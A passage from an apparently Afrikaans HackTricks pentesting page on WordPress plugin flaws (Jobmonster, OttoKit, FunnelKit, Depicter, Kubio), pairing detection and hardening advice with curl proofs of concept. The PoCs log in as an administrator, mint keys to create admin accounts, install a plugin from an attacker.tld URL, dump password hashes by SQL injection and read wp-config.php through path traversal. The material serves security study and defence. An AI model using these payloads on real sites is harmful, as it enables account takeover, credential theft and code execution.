- get_user_by(âemailâ, $_POST[âidâ]) gevolg deur wp_set_auth_cookie($uid) authentiseer die versoeker as enige bestaande e-posadres.
Exploitation (unauthenticated)
- Voorvereistes: attacker kan /wp-admin/admin-ajax.php bereik en weet/raai ân geldige gebruikers-e-posadres.
- Stel provider op ân nie-ondersteunde waarde (of laat dit weg) om die default branch te tref en id=<victim_email> deur te gee.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Verwagte sukses-aanwysers
- HTTP 200 met JSON-liggaam soos {âstatusâ:âsuccessâ,âmessageâ:âLogin successfully.â}.
- Set-Cookie: wordpress_logged_in_* vir die slagoffer gebruiker; daaropvolgende versoeke is geauthentiseer.
Om die aksienaam te vind
- Inspekteer die theme/plugin vir add_action(âwp_ajax_nopriv_âŠâ, ââŠâ) registrasies in social login-kode (bv., framework/add-ons/social-login/class-social-login.php).
- Grep vir wp_set_auth_cookie(), get_user_by(âemailâ, âŠ) binne AJAX handlers.
Opsporingskontrolelys
- Weblogs wat ongeauthentiseerde POSTs na /wp-admin/admin-ajax.php wys met die social-login aksie en id=
. - 200 antwoorde met die sukses JSON onmiddellik voorafgaande aan geauthentiseerde verkeer vanaf dieselfde IP/User-Agent.
Verharding
- Moet nie identiteit aflei uit kliĂ«ntinvoer nie. Aanvaar slegs e-posadresse/IDâs wat afkomstig is van ân gevalideerde verskaffer-token/ID.
- Vereis CSRF nonces en capability checks selfs vir aanmeldhulpmiddels; vermy die registrasie van wp_ajax_nopriv_ tensy dit absoluut nodig is.
- Valideer en verifieer OAuth/OIDC antwoorde server-side; verwerp ontbrekende/ongeldige providers (geen terugval na POST id nie).
- Oorweeg om social login tydelik uit te skakel of virtueel aan die edge te patch (blokkeer die kwesbare aksie) totdat dit reggemaak is.
Gepatchte gedrag (Jobmonster 4.8.0)
- Verwyder die onveilige terugval uit $_POST[âidâ]; $user_email moet afkomstig wees van geverifieerde provider-takke in switch($_POST[âusingâ]).
Ongeauthentiseerde privilege-eskalasie via REST token/key minting op voorspelbare identiteit (OttoKit/SureTriggers †1.0.82)
Sommige plugins openbaar REST-endpoints wat herbruikbare âconnection keysâ of tokens mint sonder om die aanroeper se capabilities te verifieer. As die roete slegs op ân raaiselbare attribuut (bv., username) autentiseer en nie die sleutel aan ân gebruiker/sessie bind met capability checks nie, kan enige ongeauthentiseerde aanvaller ân sleutel mint en bevoegde aksies aanroep (admin account creation, plugin actions â RCE).
- Kwetsbare roete (voorbeeld): sure-triggers/v1/connection/create-wp-connection
- Fout: aanvaar ân username, gee ân connection key uit sonder current_user_can() of ân streng permission_callback
- Impak: volle oorname deur die geminte sleutel te koppel aan interne bevoegde aksies
PoC â mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# â {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Waarom dit uitbuitbaar is
- Sensitiewe REST route wat slegs beskerm word deur ân laag-entropie identiteitsbewys (username) of ontbrekende permission_callback
- Geen capability-afdwinging nie; minted key word aanvaar as ân universele omseiling
Detection checklist
- Grep plugin code for register_rest_route(âŠ, [ âpermission_callbackâ => â__return_trueâ ])
- Enige route wat tokens/keys uitreik gebaseer op deur die versoek verskafde identiteit (username/email) sonder om dit te koppel aan ân geverifieerde gebruiker of ân capability
- Soek na volgende routes wat die minted token/key aanvaar sonder server-side capability kontroles
Hardening
- Vir enige bevoorregte REST route: vereis ân permission_callback wat current_user_can() afdwing vir die vereiste capability
- Moet nie long-lived keys uit client-supplied identity skep nie; indien nodig, gee kortlewende, user-bound tokens uit na verifikasie en kontroleer capability weer tydens gebruik
- Valideer die oproeper se gebruikerskonteks (wp_set_current_user is nie afdoende op sigself nie) en verwerp versoeke waar !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse â ongeauthentiseerde arbitraire plugininstallasie (FunnelKit Automations †3.5.3)
Nonces voorkom CSRF, nie autorisasie nie. As kode ân nonce-pass hanteer as ân groen lig en dan capability kontroles vir bevoorregte operasies (bv. install/activate plugins) oorslaan, kan ongeauthentiseerde aanvallers aan ân swak nonce-vereiste voldoen en RCE bereik deur ân backdoored of kwetsbare plugin te installeer.
- Kwetsbare pad: plugin/install_and_activate
- Fout: swak nonce hash check; no current_user_can(âinstall_pluginsâ|âactivate_pluginsâ) once nonce âpassesâ
- Impak: volle kompromittering via arbitraire plugininstallasie/-aktivering
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Opsporingskontrolelys
- REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen capability check
- Enige kodepad wat $skip_caps = true stel na nonce-validasie
Verharding
- Hanteer nonces altyd as slegs CSRF tokens; afdwing capability checks ongeag nonce-toestand
- Vereis current_user_can(âinstall_pluginsâ) en current_user_can(âactivate_pluginsâ) voordat installer code bereik word
- Weier nie-geauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde flows
Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider †3.6.1)
Verskeie depicter-* actions het die s (search) parameter gebruik en dit in SQL queries gekonkateneer sonder parameterisering.
- Parameter: s (search)
- Fout: direkte stringkonkatenering in WHERE/LIKE clauses; geen prepared statements/sanitization
- Impact: databasis-ekstraksie (gebruikers, hashes), laterale beweging
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep vir depicter-* action handlers en direkte gebruik van $_GET[âsâ] of $_POST[âsâ] in SQL
- Hersien custom queries wat aan $wpdb->get_results()/query() deurgegee word en s aanmekaar heg
Hardening
- Gebruik altyd $wpdb->prepare() of wpdb placeholders; weier onverwagte metakarakters aan die bedienerkant
- Voeg ân streng allowlist vir s by en normaliseer dit na die verwagte charset/lengte
Unauthenticated Local File Inclusion via ongevalideerde template/file path (Kubio AI Page Builder †2.5.1)
Aanvaarding van deur ân aanvaller beheerde paaie in ân template-parameter sonder normalisering/begrenzing laat toe om willekeurige plaaslike lĂȘers te lees, en soms kode-uitvoering indien inkludeerbare PHP/log-lĂȘers in die runtime ingesluit word.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: geen normalisering/allowlisting; traversering toegelaat
- Impact: geheime openbaarmaking (wp-config.php), potensiële RCE in spesifieke omgewings (log poisoning, inkludeerbare PHP)
PoC â lees wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Opsporingskontrolelys
- Enige handler wat request-paaie saamvoeg in include()/require()/read sinks sonder realpath() containment
- Kyk vir traversal-patrone (../) wat buite die beoogde templates-gids bereik
Verharding
- Dwing toegelate templates af; los dit op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base))
- Normaliseer insette; verwerp traversal-sekwense en absolute paaie; gebruik sanitize_file_name() slegs vir lĂȘernaam (nie volle paaie nie)
Verwysings
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset â delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments †5.6.1 â Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation â Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025âs most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) †1.0.82 â Privilege Escalation (Patchstack DB)
- FunnelKit Automations †3.5.3 â Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider †3.6.1 â Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder †2.5.1 â Unauthenticated LFI (Patchstack DB)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

